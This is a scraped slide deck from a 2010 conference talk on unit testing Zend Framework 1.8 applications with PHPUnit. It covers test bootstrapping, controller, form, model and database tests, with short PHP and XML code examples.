Using and reusing CakePHP plugins
Using and reusing CakePHP pluginsUsing and reusing CakePHP plugins
Using and reusing CakePHP plugins
 
Zend framework service
Zend framework serviceZend framework service
Zend framework service
 
Zend framework service
Zend framework serviceZend framework service
Zend framework service
 
Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2
 

Plus de Michelangelo van Dam

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultMichelangelo van Dam
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functionsMichelangelo van Dam
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyMichelangelo van Dam
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageMichelangelo van Dam
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful businessMichelangelo van Dam
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me laterMichelangelo van Dam
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesMichelangelo van Dam
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heavenMichelangelo van Dam
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your projectMichelangelo van Dam
 
PHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsPHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsMichelangelo van Dam
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an apiMichelangelo van Dam
 

Plus de Michelangelo van Dam (20)

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functions
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
DevOps or DevSecOps
DevOps or DevSecOpsDevOps or DevSecOps
DevOps or DevSecOps
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
Continuous deployment 2.0
Continuous deployment 2.0Continuous deployment 2.0
Continuous deployment 2.0
 
Let your tests drive your code
Let your tests drive your codeLet your tests drive your code
Let your tests drive your code
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
 
The road to php 7.1
The road to php 7.1The road to php 7.1
The road to php 7.1
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful business
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me later
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
 
Getting hands dirty with php7
Getting hands dirty with php7Getting hands dirty with php7
Getting hands dirty with php7
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your project
 
Create, test, secure, repeat
Create, test, secure, repeatCreate, test, secure, repeat
Create, test, secure, repeat
 
The Continuous PHP Pipeline
The Continuous PHP PipelineThe Continuous PHP Pipeline
The Continuous PHP Pipeline
 
PHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsPHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the tests
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an api
 

Dernier

Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUK Journal
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 

Dernier (20)

Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 

Unit testing after Zend Framework 1.8

  • 1. Unit Testing after ZF 1.8 Michelangelo van Dam ZendCon 2010, Santa Clara, CA (USA)
  • 2. Michelangelo van Dam • Independent Consultant • Zend Certified Engineer (ZCE) • President of PHPBenelux
  • 3. This session What has changed with ZF 1.8 ? How do we set up our environment ? How are we testing controllers ? How are we testing forms ? How are we testing models ?
  • 4. New to unit testing ?
  • 6. Matthew Weier O’Phinney http://www.slideshare.net/weierophinney/testing-zend-framework-applications
  • 9. Birth of Zend_Application • bootstrapping an “app” • works the same for any environment • resources through methods (no registry) •- clean separation of tests unit tests - controller tests - integration tests (db, web services, …)
  • 11. Unit Testing •- smallest functional code snippet (unit) function or class method •- aims to challenge logic proving A + B gives C (and not D) • helpful for refactoring • essential for bug fixing (is it really a bug ?) • TDD results in better code • higher confidence for developers -> managers
  • 12. Controller Testing •- tests your (ZF) app is this url linked to this controller ? •- detects early errors on front-end (route/page not found) - on back-end (database changed, service down, …) • tests passing back and forth of params • form validation and filtering • security testing (XSS, SQL injection, …)
  • 13. Database Testing •- tests the functionality of your database referred to as “integration testing” •- checks functionality CRUD - stored procedures - triggers and constraints • verifies no mystery data changes happen - UTF-8 in = UTF-8 out
  • 16. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Zend Framework Unit Test Demo"> <directory>./</directory> </testsuite> <!-- Optional settings for filtering and logging --> <filter> <whitelist> <directory suffix=".php">../library/</directory> <directory suffix=".php">../application/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> <logging> <log type="coverage-html" target="./log/report" charset="UTF-8" yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/> <log type="testdox-html" target="./log/testdox.html" /> </logging> </phpunit>
  • 17. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path()); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); require_once 'Zend/Application.php'; $application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $application->bootstrap();
  • 18. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path()); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); require_once 'Zend/Application.php'; $application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $application->bootstrap();
  • 19. ControllerTestCase.php <?php require_once 'Zend/Application.php'; require_once 'Zend/Test/PHPUnit/ControllerTestCase.php'; abstract class ControllerTestCase extends Zend_Test_PHPUnit_ControllerTestCase { protected function setUp() { // we override the parent::setUp() to solve an issue regarding not // finding a default module } }
  • 20. Directory Strategy /application /tests /configs /application /controllers /controllers /forms /forms /models /models /modules /modules /guestbook /guestbook /apis /apis /controllers /controllers /forms /forms /models /models /views /helpers /filters /scripts /views /helpers /filters /scripts /library /public /tests
  • 22. Homepage testing <?php // file: tests/application/controllers/IndexControllerTest.php require_once TEST_PATH . '/ControllerTestCase.php'; class IndexControllerTest extends ControllerTestCase { public function testCanWeDisplayOurHomepage() { // go to the main page of the web application $this->dispatch('/'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); // ok, no error so let's see if we're at our homepage $this->assertModule('default'); $this->assertController('index'); $this->assertAction('index'); $this->assertResponseCode(200); } }
  • 28. Simple comment form <?php class Application_Form_Comment extends Zend_Form { public function init() { $this->addElement('text', 'fullName', array ( 'label' => 'Full name', 'required' => true)); $this->addElement('text', 'emailAddress', array ( 'label' => 'E-mail address', 'required' => true)); $this->addElement('text', 'website', array ( 'label' => 'Website URL', 'required' => false)); $this->addElement('textarea', 'comment', array ( 'label' => 'Your comment', 'required' => false)); $this->addElement('submit', 'send', array ( 'Label' => 'Send', 'ignore' => true)); } }
  • 29. CommentController <?php class CommentController extends Zend_Controller_Action { protected $_session; public function init() { $this->_session = new Zend_Session_Namespace('comment'); } public function indexAction() { $form = new Application_Form_Comment(array ( 'action' => $this->_helper->url('send-comment'), 'method' => 'POST', )); if (isset ($this->_session->commentForm)) { $form = unserialize($this->_session->commentForm); unset ($this->_session->commentForm); } $this->view->form = $form; } }
  • 30. Comment processing <?php class CommentController extends Zend_Controller_Action { … public function sendCommentAction() { $request = $this->getRequest(); if (!$request->isPost()) { return $this->_helper->redirector('index'); } $form = new Application_Form_Comment(); if (!$form->isValid($request->getPost())) { $this->_session->commentForm = serialize($form); return $this->_helper->redirector('index'); } $values = $form->getValues(); $this->view->values = $values; } }
  • 31. Views <!-- file: application/views/scripts/comment/index.phtml --> <?php echo $this->form ?> <!-- file: application/views/scripts/comment/send-comment.phtml --> <dl> <?php if (isset ($this->values['website'])): ?> <dt id="fullName"><a href="<?php echo $this->escape($this->values ['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></ dt> <?php else: ?> <dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt> <?php endif; ?> <dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd> </dl>
  • 35. Starting simple <?php // file: tests/application/controllers/IndexControllerTest.php require_once TEST_PATH . '/ControllerTestCase.php'; class CommentControllerTest extends ControllerTestCase { public function testCanWeDisplayOurForm() { // go to the main comment page of the web application $this->dispatch('/comment'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); $this->assertModule('default'); $this->assertController('comment'); $this->assertAction('index'); $this->assertResponseCode(200); $this->assertQueryCount('form', 1); $this->assertQueryCount('form', 1); $this->assertQueryCount('input[type="text"]', 2); } $this->assertQueryCount('input[type="text"]', 3); $this->assertQueryCount('textarea', 1); } $this->assertQueryCount('textarea', 1);
  • 36. GET request = index ? public function testSubmitFailsWhenNotPost() { $this->request->setMethod('get'); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment'); }
  • 37. Can we submit our form ? public function testCanWeSubmitOurForm() { $this->request->setMethod('post') ->setPost(array ( 'fullName' => 'Unit Tester', 'emailAddress' => 'test@example.com', 'website' => 'http://www.example.com', 'comment' => 'This is a simple test', )); $this->dispatch('/comment/send-comment'); $this->assertQueryCount('dt', 1); $this->assertQueryCount('dd', 1); $this->assertQueryContentContains('dt#fullName', '<a href="http://www.example.com">Unit Tester</a>'); $this->assertQueryContentContains('dd#comment', 'This is a simple test'); }
  • 38. All other cases ? /** * @dataProvider wrongDataProvider */ public function testSubmitFailsWithWrongData($fullName, $emailAddress, $comment) { $this->request->setMethod('post') ->setPost(array ( 'fullName' => $fullName, 'emailAddress' => $emailAddress, 'comment' => $comment, )); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment'); }
  • 39. wrongDataProvider public function wrongDataProvider() { return array ( array ('', '', ''), array ('~', 'bogus', ''), array ('', 'test@example.com', 'This is correct text'), array ('Test User', '', 'This is correct text'), array ('Test User', 'test@example.com', str_repeat('a', 50001)), ); }
  • 49. Testing models • uses core PHPUnit_Framework_TestCase class • tests your business logic ! • can run independent from other tests •- model testing !== database testing model testing tests the logic in your objects - database testing tests the data storage
  • 50. Model setUp/tearDown <?php require_once 'PHPUnit/Framework/TestCase.php'; class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase { protected $_gb; protected function setUp() { parent::setUp(); $this->_gb = new Application_Model_Guestbook(); } protected function tearDown() { $this->_gb = null; parent::tearDown(); } … }
  • 51. Simple tests public function testGuestBookIsEmptyAtConstruct() { $this->assertType('Application_Model_GuestBook', $this->_gb); $this->assertFalse($this->_gb->hasEntries()); $this->assertSame(0, count($this->_gb->getEntries())); $this->assertSame(0, count($this->_gb)); } public function testGuestbookAddsEntry() { $entry = new Application_Model_GuestbookEntry(); $entry->setFullName('Test user') ->setEmailAddress('test@example.com') ->setComment('This is a test'); $this->_gb->addEntry($entry); $this->assertTrue($this->_gb->hasEntries()); $this->assertSame(1, count($this->_gb)); }
  • 52. GuestbookEntry tests … public function gbEntryProvider() { return array ( array (array ( 'fullName' => 'Test User', 'emailAddress' => 'test@example.com', 'website' => 'http://www.example.com', 'comment' => 'This is a test', 'timestamp' => '2010-01-01 00:00:00', )), array (array ( 'fullName' => 'Test Manager', 'emailAddress' => 'testmanager@example.com', 'website' => 'http://tests.example.com', 'comment' => 'This is another test', 'timestamp' => '2010-01-01 01:00:00', )), ); } /** * @dataProvider gbEntryProvider * @param $data */ public function testEntryCanBePopulatedAtConstruct($data) { $entry = new Application_Model_GuestbookEntry($data); $this->assertSame($data, $entry->__toArray()); } …
  • 57. Database Testing •- integration testing seeing records are getting updated - data models behave as expected - data doesn't change encoding (UTF-8 to Latin1) • database behaviour testing - CRUD - stored procedures - triggers - master/slave - cluster - sharding
  • 58. Caveats •- database should be reset in a “known state” no influence from other tests •- system failures cause the test to fail connection problems •- unpredictable data fields or types auto increment fields - date fields w/ CURRENT_TIMESTAMP
  • 60. Model => database <?php require_once 'PHPUnit/Framework/TestCase.php'; class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase { … } Becomes <?php require_once TEST_PATH . '/DatabaseTestCase.php'; class Application_Model_GuestbookEntryTest extends DatabaseTestCase { … }
  • 61. DatabaseTestCase.php <?php require_once 'Zend/Application.php'; require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php'; require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php'; abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase { private $_dbMock; private $_application; protected function setUp() { $this->_application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap = array($this, 'appBootstrap'); parent::setUp(); } …
  • 62. DatabaseTestCase.php (2) … public function appBootstrap() { $this->application->bootstrap(); } protected function getConnection() { if (null === $this->_dbMock) { $bootstrap = $this->application->getBootstrap(); $bootstrap->bootstrap('db'); $connection = $bootstrap->getResource('db'); $this->_dbMock = $this->createZendDbConnection($connection,'in2it'); Zend_Db_Table_Abstract::setDefaultAdapter($connection); } return $this->_dbMock; } protected function getDataSet() { return $this->createFlatXMLDataSet( dirname(__FILE__) . '/_files/initialDataSet.xml'); } }
  • 63. _files/initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <gbentry id="1" fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry id="2" fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-council.com" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <comment id="1" comment= "Good article, thanks"/> <comment id="2" comment= "Haha, Obi Wan… liking this very much"/> … </dataset>
  • 64. A simple DB test public function testNewEntryPopulatesDatabase() { $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT * FROM gbentry'); $dataSet = $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"); $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $dataSet, array('gbentry' => array('id'))); $this->assertDataSetsEqual($filteredDataSet, $ds); }
  • 65. location of datasets <approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml
  • 69. Changing records public function testNewEntryPopulatesDatabase() { $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment, timestamp FROM gbentry'); $this->assertDataSetsEqual( $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"), $ds ); }
  • 70. Expected resultset <?xml version="1.0" encoding="UTF-8"?> <dataset> <gbentry fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi- council.com" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <gbentry fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Test Manager" emailAddress="testmanager@example.com" website="http://tests.example.com" comment="This is another test" timestamp="2010-01-01 01:00:00"/> </dataset>
  • 71. location of datasets <approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml addedTwoEntries.xml
  • 76. Desire vs Reality •- desire +70% code coverage - test driven development - clean separation of tests •- reality test what counts first (business logic) - discover the “unknowns” and test them - combine unit tests with integration tests
  • 77. Automation •- using a CI system continuous running your tests - reports immediately when failure - provides extra information ‣ copy/paste detection ‣ mess detection &dependency calculations ‣ lines of code ‣ code coverage ‣ story board and test documentation ‣ …
  • 78. Questions • http://slideshare.net/DragonBe/unit-testing-after-zf-18 • http://github.com/DragonBe/zfunittest • http://twitter.com/DragonBe • http://facebook.com/DragonBe • http://joind.in/2243